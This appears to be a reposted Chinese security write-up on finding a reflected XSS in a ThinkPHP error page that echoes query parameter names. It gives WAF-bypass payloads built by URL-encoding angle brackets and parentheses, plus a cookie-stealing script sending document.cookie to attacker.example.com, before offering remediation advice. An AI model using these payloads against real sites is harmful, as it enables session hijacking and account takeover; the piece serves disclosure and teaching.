在一次安全测试中,我发现目标站点在错误处理页面对用户输入的查询参数名未做任何转义,当参数名中包含 <script> 标签时,页面会原样渲染并执行其中的 JavaScript。本文将从实战角度,详细讲解如何定位该反射型 XSS 漏洞、通过 URL 编码绕过 WAF 拦截,以及最终利用 PoC 在浏览器端触发 alert 弹窗的全过程。

一、漏洞定位与原理

1.访问错误页面及确认反射点:

对某网址 https://xxxxxxx/index/newslist/newsinfo.html 加入任意参数(如 ?foo=1),触发 ThinkPHP 抛出异常的错误页,并在“GET Data”区域看到未转义的 foo,发现加入的任意参数直接反映在文本元素,表明 ThinkPHP 将 GET 参数名当作方法参数名并渲染到模板中,由此定位源码位置。

2.错误位点代码刨析及进一步测试:

2.1 错误页面中“GET Data”渲染位置

<div class="exception-var"><h3 class="subheading">GET Data</h3><div class="clearfix"><div class="col-md-3"><strong>foo</strong></div><div class="col-md-9"><small>1</small></div></div>…
</div>
<strong>foo</strong> 

正是用户在 URL 中以 ?foo=1 提交的参数名被原样输出的位置。

该 <strong> 标签位于 <body> 内容区,浏览器会将其中的内容当作合法 HTML 片段直接渲染。

2.2 反射点触发测试及WAF绕过机制

HTML 元素内容(Element Content),不在属性或 JavaScript 字符串里,若将 foo 替换成

<script>alert(1)</script>

则页面会直接触发网络防火墙的拦截机制,这里被“G01”WAF 拦截,返回提示“含有不合法的参数”。:

到这里我就在思考:既然 WAF 的“G01”规则是基于对 <script> onerror 等经典 XSS 特征关键字的简单匹配的通用规则。当你发出含有 <script> 关键字的请求时,WAF 会直接拦截并返回“含有不合法参数”的提示。只要我的 payload 中保留了这几个字符,都会被拦截,那么我是否可以通过对 <>() 等关键字符做 URL 编码或者大小写混合,来“隐身”进入服务器而不触发规则?首先,我想到对整个标签进行百分号编码:

%3Cscript%3Ealert(1)%3C%2Fscript%3E

将这段编码后的字符串放到参数名的位置,构造 URL:

https://…/newsinfo.html?%3Cscript%3Ealert(1)%3C%2Fscript%3E=1

似乎依然会被拦截。

G01 规则多是大小写不敏感的,但对连续关键字匹配敏感,我们再次针对以上URL中(1)进行URL编码根据Unicode规则%28为

(

%29为

)

所以构造的URL编码为:

?%3Cscript%3Ealert%281%29%3C%2Fscript%3E=1

其解码等同于

<script>alert(1)</script>=1

当这段 <script>alert(1)</script> 被服务器“原样”反射到页面上,并且未做任何转义时,浏览器就会执行它。至此我们再次访问该地址

表明WAF 绕过成功且XSS 漏洞已被成功利用,服务器没有对用户输入的 <script> 标签做任何过滤或转义,直接反射到页面,浏览器正常执行了脚本。alert(1) 这行 JavaScript 的效果是弹出对话框,显示数字 1。所以你看到的弹窗内容是 “1”,而不是字面上的 alert(1)。

alert() 函数把它的参数原样当作要显示的内容。你传进去的是数字 1,所以弹窗只显示 1。如果你想验证文字“XSS被执行",可以改成:

如果有非法分子利用医疗机构挂号预订网站的类似漏洞,通过远程劫持,即可构造出具有欺诈性的界面,并同时结合社会工程学手段进行进一步攻击。此处给出一个简单的恶意信息例如:

由此可见,WAF 仅基于简单关键字匹配,缺乏对 URL 解码与多样化 payload 的深入检测,而后端又未对反射点做任何输出转义,于是绕过与利用便水到渠成。

2.3 进一步确认与远程劫持

在成功压制 WAF 拦截后,我进一步在 DevTools → Elements 中确认,页面的 DOM 结构正如预期:

并且在 Console 标签页中能看到 alert 的日志,说明脚本已完整执行。这不仅意味着反射型 XSS 漏洞确实存在,而且由于篡改发生在参数名层面,更难以通过常规的参数值过滤策略检测到。

利用此反射型 XSS 漏洞,攻击者只需将如下恶意脚本作为参数名注入,即可在受害者浏览器中自动窃取其会话 Cookie 并上报到自己可控的服务器,从而实现远程会话劫持:

<script>new Image().src="https://attacker.example.com/steal?cookie="+encodeURIComponent(document.cookie);
</script>

具体流程是:当受害者点击含有

%3Cscript%3Enew Image().src%3D%22https%3A%2F%2Fattacker.example.com%2Fsteal%3Fcookie%3D%22%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E

的恶意链接后,浏览器会执行该脚本,将其 Cookie 以 GET 请求的形式发送给攻击者;然后攻击者只需在自己的脚本服务器(例如 attacker.example.com)上监听并记录来访请求,就能获得该用户的 SessionID 或认证令牌,使用这些令牌伪造合法请求,以该用户身份在目标站点进行任意操作,完成远程会话劫持。

3.漏洞根源:

源码显示,这段逻辑源于 ThinkPHP 在抛出 InvalidArgumentException('method param miss:'.$name) 后渲染异常变量时,直接将 $name(即查询参数名)拼入 HTML:

缺少 htmlspecialchars($key, ENT_QUOTES, 'UTF-8') 之类的实体化处理。导致任意 HTML 标签或 JavaScript 片段都可通过参数名被注入并执行。

4. 后记-修复建议:

小白的一次简单的测试,提不出什么好的意见,以下仅供参考:

首先应该在框架层对所有用户输入(包括查询参数名和值)统一使用 htmlspecialchars 等 HTML 实体化函数进行转义,并升级到最新 ThinkPHP 版本;在应用层严格采用参数白名单和类型校验,只接受预期字段,其余一律拒绝;在视图模板中统一使用转义过滤器输出动态内容;运维层通过配置严格的 Content Security Policy(CSP)禁止内联脚本,并精细化 WAF 规则,不再简单匹配 <script> 关键字。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/88949.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/88949.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/88949.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RAG实战指南 Day 15:多语言与领域特定嵌入技术

【RAG实战指南 Day 15】多语言与领域特定嵌入技术 引言 欢迎来到"RAG实战指南"系列的第15天&#xff01;今天我们将深入探讨多语言与领域特定嵌入技术——这是构建全球化、专业化RAG系统的关键技术。在现实业务场景中&#xff0c;我们经常需要处理多种语言的文档&a…

无铅PCB和无卤pcb有什么区别?

在电子制造领域&#xff0c;环保法规的升级催生了多种特殊工艺的PCB产品。其中&#xff0c;无铅PCB与无卤PCB作为两大主流方向&#xff0c;虽同属绿色制造范畴&#xff0c;却在技术路径与应用场景上存在本质差异。环保指向的根本区别无铅PCB的核心在于焊接材料的革新。传统PCB采…

基于51单片机的贪吃蛇游戏Protues仿真设计

目录 1 系统设计目的 2 系统实现功能 3 系统硬件设计 3.1系统设计框图 3.2 液晶显示模块LCD12864 3.3 按键输入模块 3.4 时钟电路和复位电路 4 系统软件设计 4.1系统软件流程 4.2 游戏引擎模块程序设计 4.3 显示模块程序设计 4.4 输入处理模块程序设计 5 系统仿真…

HTML+CSS

一、HTML相关内容- <img> 标签&#xff1a;- 用于在网页中嵌入图像&#xff0c; src 属性指定图像的路径&#xff0c;可以是绝对路径&#xff08;如 D:\Git\java115_java116\课堂代码\前端代码\pic\cat.jpg &#xff09;、相对路径&#xff08;如 ./pic/cat.jpg &#x…

基于 Gitlab、Jenkins与Jenkins分布式、SonarQube 、Nexus 的 CiCd 全流程打造

前言 在当今数字化飞速发展的时代&#xff0c;软件开发与交付的效率和质量成为了企业竞争的关键要素。为了满足市场对软件快速迭代和高质量交付的需求&#xff0c;越来越多的企业开始探索和实践持续集成与持续交付&#xff08;CI/CD&#xff09;的开发模式。而 GitLab、Jenkin…

[密码学实战]密评相关题库解析

[密码学实战]密评相关题库解析 一、背景 依据《密码法》第二十二条&#xff0c;关键信息基础设施&#xff08;关基&#xff09;运营者必须开展商用密码应用安全性评估&#xff0c;且需定期进行&#xff08;不少于每年一次&#xff09;。 二、核心解析 2.1 测评标准框架&#x…

谷歌开源库gflags详细说明

目录 一.gflags 介绍 二.gflags安装 三.gflags使用 1.包含头文件 2.定义参数 3.访问参数 4.不同文件访问参数 5.初始化所有参数 6.运行参数设置 7.配置文件的使用 8.特殊参数标识 四.总结 一.gflags 介绍 gflags 是 Google 开发的一个开源库&#xff0c;用于 C 应用…

Python爬虫实战:研究XlsxWriter 库相关技术

1. 研究背景与意义 1.1 网络爬虫技术价值 网络爬虫作为数据采集的核心工具,在金融、医疗、教育等领域发挥关键作用。据 Statista 数据显示,2025 年全球大数据市场规模预计达 3250 亿美元,高效的数据获取能力成为企业核心竞争力。Python 以其 80% 的市场占有率成为爬虫开发首…

ThreadLocal内部结构深度解析(Ⅰ)

目录 使用ThreadLocal 例子 内部结构分析 源码解析 图示详解 ThreadLocal是Java中一个非常重要且常用的线程局部变量工具类&#xff0c;它使得每个线程可以独立地持有自己的变量副本&#xff0c;而不是共享变量&#xff0c;解决了多线程环境下变量共享的线程安全问题。下面我…

Python 数据挖掘之数据探索

在数据挖掘的流程中&#xff0c;数据探索是非常关键的第一步&#xff0c;它能帮助我们深入了解数据的特点&#xff0c;为后续的预处理和模型构建打下坚实的基础。我们主要围绕四个方面展开&#xff1a;数据对象与特征、数据统计描述、数据可视化以及相关性和相似性度量。一、数…

高并发点赞场景Synchronized、AtomicLong、LongAdder 和 LongAccumulator性能分析

在高并发点赞场景中&#xff0c;我们需要一个高效、线程安全的计数器来记录点赞数。synchronized、AtomicLong、LongAdder 和 LongAccumulator 都是 Java 中用于实现原子操作的类&#xff0c;但它们的性能在高并发下差异显著。性能主要取决于线程竞争程度&#xff1a;竞争越高&…

postgreSQL的sql语句

目录 一&#xff1a;前提准备1.postgreSQL的安装可以参考我下面一片文章&#xff1a; 二&#xff1a;SQL语句 1.相同点&#xff1a;支持标准sql类型 2.参考详细学习地址&#xff1a; 3.postgresql与mysql的不同点 一&#xff1a;前提准备 1.postgreSQL的安装可以参考我下面…

vue3 JavaScript 数据累加 reduce

在Vue 3中&#xff0c;你可以使用JavaScript的reduce方法来处理数据累加。reduce方法通常用在数组上&#xff0c;它将数组中的每个元素通过一个累加器函数&#xff08;accumulator&#xff09;从左到右累积&#xff0c;最终生成一个单一的值。这在计算总和、累加值等场景中非常…

史上最清楚!读者,写者问题(操作系统os)

读者-写者问题是另一个里程碑式的同步互斥问题。它比生产者-消费者更复杂&#xff0c;因为它引入了不对称的访问权限&#xff1a;读者和读者之间是共享的&#xff0c;但写者和任何人&#xff08;包括读者和其他写者&#xff09;之间都是互斥的。我们用一个生动的比喻来解析这个…

使用Starrocks替换Clickhouse的理由

背景 Starrocks和clickhouse都是非常优秀的OLAP数据库&#xff0c;那么什么情况下使用clickhouse&#xff0c;什么场景下使用starrocks呢&#xff0c;本文就简单列举一下他们的优缺点 理由 首先两者都是列存储&#xff0c;并且都实现了列压缩&#xff0c;所以从存储中两者的压缩…

Mybatis 两级缓存可能导致的问题

Mybatis 两级缓存可能导致的问题两级缓存简介一级缓存 localCache效果开关二级缓存两级缓存可能导致的问题分布式环境下查询到过期数据事务隔离级别失效读已提交失效读未提交失效总结两级缓存简介 一级缓存 localCache 效果 一级缓存是 session 或者说事务级别的&#xff0c…

vue3+uniapp 使用vue-plugin-hiprint中实现打印效果

前言&#xff1a; vue3uniapp 使用vue-plugin-hiprint中实现打印效果 官网地址&#xff1a;gitee https://gitee.com/ccsimple/vue-plugin-hiprinthttps://gitee.com/ccsimple/vue-plugin-hiprint 实现效果&#xff1a; 预览打印内容&#xff1a; 实现步骤&#xff1a; 1、安…

【elementUI踩坑记录】解决 el-table 固定列 el-table__fixed 导致部分滚动条无法拖动的问题

目录一、问题背景二、 问题现象三、核心原因四、解决办法增强方案&#x1f680;写在最后一、问题背景 在使用 Element UI 的 el-table 组件时&#xff0c;固定列功能虽然实用&#xff0c;但会引发滚动条交互问题&#xff1a; 固定列区域悬浮显示滚动条但无法正常拖动滚动条 …

【机器人编程基础】python文件的打开和关闭

文件的打开和关闭 在Python中,文件操作是一项基本而重要的任务,涉及到打开、读取、写入、关闭文件等操作。正确地管理文件对于数据持久化、输入输出处理等至关重要。下面将详细解释如何在Python中打开和关闭文件,并提供相应的代码示例。 文件打开 在Python中,可以使用内…

ShenYu实战、问题记录

概述 一款高性能的国产的Apache开源API网关&#xff0c;官方文档。 在ShenYu v2.6.1, ShenYu注册中心只支持http类型&#xff0c;中间件注册类型已经被移除。 所以&#xff0c;请使用http注册类型来注册你的服务。不是微服务注册中心&#xff0c;它只是将元数据、选择器数据、…